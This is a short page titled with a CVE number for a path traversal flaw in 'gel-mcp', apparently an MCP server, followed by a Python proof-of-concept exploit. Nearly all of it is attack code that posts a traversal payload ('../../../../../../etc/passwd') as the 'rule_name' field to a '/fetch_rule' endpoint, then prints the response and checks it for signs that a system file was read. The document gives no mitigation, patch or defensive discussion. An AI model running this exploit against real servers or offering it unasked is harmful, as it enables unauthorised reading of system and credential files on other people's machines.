CVE-2026-7403 gel-mcp路径遍历漏洞

import requests def exploit(target_url): # Vulnerable parameter payload = { "rule_name": "../../../../../../etc/passwd" } try: # Sending malicious request to the vulnerable endpoint # Adjust the endpoint path based on actual implementation response = requests.post(f"{target_url}/fetch_rule", data=payload) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) # Check for common indicators of successful file read if "root:" in response.text or "[extensions]" in response.text: print("[!] Potential Path Traversal confirmed.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target address target = "http://127.0.0.1:8000" exploit(target)